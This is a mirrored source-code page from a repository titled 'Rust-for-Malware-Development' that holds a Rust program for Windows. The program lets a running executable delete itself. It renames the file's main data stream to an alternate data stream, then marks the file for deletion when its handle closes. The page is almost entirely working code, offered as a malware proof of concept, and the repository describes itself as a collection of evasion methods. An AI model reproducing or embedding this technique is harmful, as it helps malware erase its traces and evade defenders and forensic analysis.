mirror of
https://codeberg.org/smukx/Rust-for-Malware-Development
synced 2026-06-06 20:22:59 +00:00
28e7fac1d3
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
141 lines
4.8 KiB
Rust
141 lines
4.8 KiB
Rust
/*
|
|
Self Deletion Technique
|
|
For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
|
|
Resources Used:
|
|
https://maxkersten.nl/binary-analysis-course/malware-snippets/self-deletion/
|
|
https://github.com/joaoviictorti/RustRedOps/blob/main/Self_Deletion/src/main.rs
|
|
@5mukx
|
|
|
|
*/
|
|
|
|
/*
|
|
Explanation:~
|
|
* The code creates an alternate data stream, which isn't visible in typical file listings, and uses this to manipulate the file in a way that allows for self-deletion.
|
|
* By renaming the file's alternate data stream, it essentially prepares the file for an operation that can be performed on itself without directly needing admin permissions for file deletion.
|
|
* The actual deletion occurs when the file handle is closed after marking the file for deletion, which is a Windows feature where marking a file for deletion and then closing the last handle to it results in the file being deleted.
|
|
|
|
*/
|
|
use std::ffi::OsString;
|
|
use std::os::windows::ffi::OsStrExt;
|
|
use std::ptr::null_mut;
|
|
use winapi::ctypes::c_void;
|
|
use winapi::um::fileapi::{CreateFileW, SetFileInformationByHandle, FILE_RENAME_INFO};
|
|
use winapi::um::handleapi::CloseHandle;
|
|
use winapi::um::heapapi::HeapFree;
|
|
use winapi::um::minwinbase::{FileDispositionInfo, FileRenameInfo};
|
|
use winapi::um::winbase::FILE_FLAG_DELETE_ON_CLOSE;
|
|
use winapi::um::winnt::{FILE_ATTRIBUTE_NORMAL, HEAP_ZERO_MEMORY};
|
|
use winapi::um::{fileapi::FILE_DISPOSITION_INFO, heapapi::{GetProcessHeap, HeapAlloc}};
|
|
|
|
// macro_rules! okey {
|
|
// ($msg:expr, $($arg:expr), *) => {
|
|
// println!("[+] {}",format!($msg, $($arg), *));
|
|
// }
|
|
// }
|
|
|
|
// macro_rules! error {
|
|
// ($msg:expr, $($arg:expr), *) => {
|
|
// println!("[!] {}",format!($msg, $($arg), *));
|
|
// println!("Exiting ...");
|
|
// std::process::exit(1);
|
|
// };
|
|
// }
|
|
|
|
fn main(){
|
|
// This stream name is for alternate stream.
|
|
let stream = ":test_stream";
|
|
let stream_wide: Vec<u16> = OsString::from(stream).encode_wide().chain(std::iter::once(0)).collect();
|
|
|
|
unsafe{
|
|
let mut delete_file = FILE_DISPOSITION_INFO{
|
|
DeleteFile: 1 // default value is 1
|
|
};
|
|
|
|
let rename_info_size = std::mem::size_of::<FILE_RENAME_INFO>() + (stream_wide.len() * std::mem::size_of::<u16>());
|
|
|
|
// allocate memory for FILE_RENAME_INFO
|
|
let rename_info = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, rename_info_size) as *mut FILE_RENAME_INFO;
|
|
|
|
if rename_info.is_null() {
|
|
panic!("Memory allocation failed");
|
|
}
|
|
|
|
delete_file.DeleteFile = 1;
|
|
(*rename_info).FileNameLength = (stream_wide.len() * std::mem::size_of::<u16>()) as u32 - 2;
|
|
|
|
std::ptr::copy_nonoverlapping(
|
|
stream_wide.as_ptr(),
|
|
(*rename_info).FileName.as_mut_ptr(),
|
|
stream_wide.len(),
|
|
);
|
|
|
|
let path = std::env::current_exe().unwrap();
|
|
let mut full_path: Vec<u16> = OsString::from(path).encode_wide().collect();
|
|
full_path.push(0);
|
|
|
|
// Open the file with delete and synchronize permissions
|
|
let handle = CreateFileW(
|
|
full_path.as_ptr(),
|
|
0x00010000 | 0x00100000,
|
|
0x00000001,
|
|
core::ptr::null_mut(),
|
|
3, // OPEN_EXISTING
|
|
0 as u32, // FILE_ATTRIBUTE_NORMAL
|
|
null_mut(),
|
|
);
|
|
|
|
if handle.is_null() {
|
|
panic!("Failed to open file");
|
|
}
|
|
|
|
// rename the alternate data stream
|
|
let setfileinfohandle = SetFileInformationByHandle(
|
|
handle,
|
|
FileRenameInfo,
|
|
rename_info as *mut c_void,
|
|
rename_info_size as u32
|
|
);
|
|
|
|
if setfileinfohandle == 0 {
|
|
panic!("Failed to set file information for rename");
|
|
}
|
|
|
|
CloseHandle(handle);
|
|
|
|
// Re-open the file with delete on close flag
|
|
let handle = CreateFileW(
|
|
full_path.as_ptr(),
|
|
0x00010000 | 0x40000000 | 0x00100000,
|
|
0x00000001,
|
|
std::ptr::null_mut(),
|
|
3,
|
|
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE,
|
|
null_mut(),
|
|
);
|
|
|
|
if handle == null_mut() {
|
|
panic!("Failed to re-open file for deletion");
|
|
}
|
|
|
|
// Mark the file for deletion
|
|
let setfileinfo = SetFileInformationByHandle(
|
|
handle,
|
|
FileDispositionInfo,
|
|
&delete_file as *const FILE_DISPOSITION_INFO as *mut c_void,
|
|
std::mem::size_of::<FILE_DISPOSITION_INFO>() as u32
|
|
);
|
|
|
|
if setfileinfo == 0 {
|
|
panic!("Failed to mark file for deletion");
|
|
}
|
|
|
|
CloseHandle(handle); // This will delete the file
|
|
|
|
// free the allocated memory
|
|
HeapFree(
|
|
GetProcessHeap(),
|
|
0,
|
|
rename_info as *mut c_void,
|
|
);
|
|
}
|
|
} |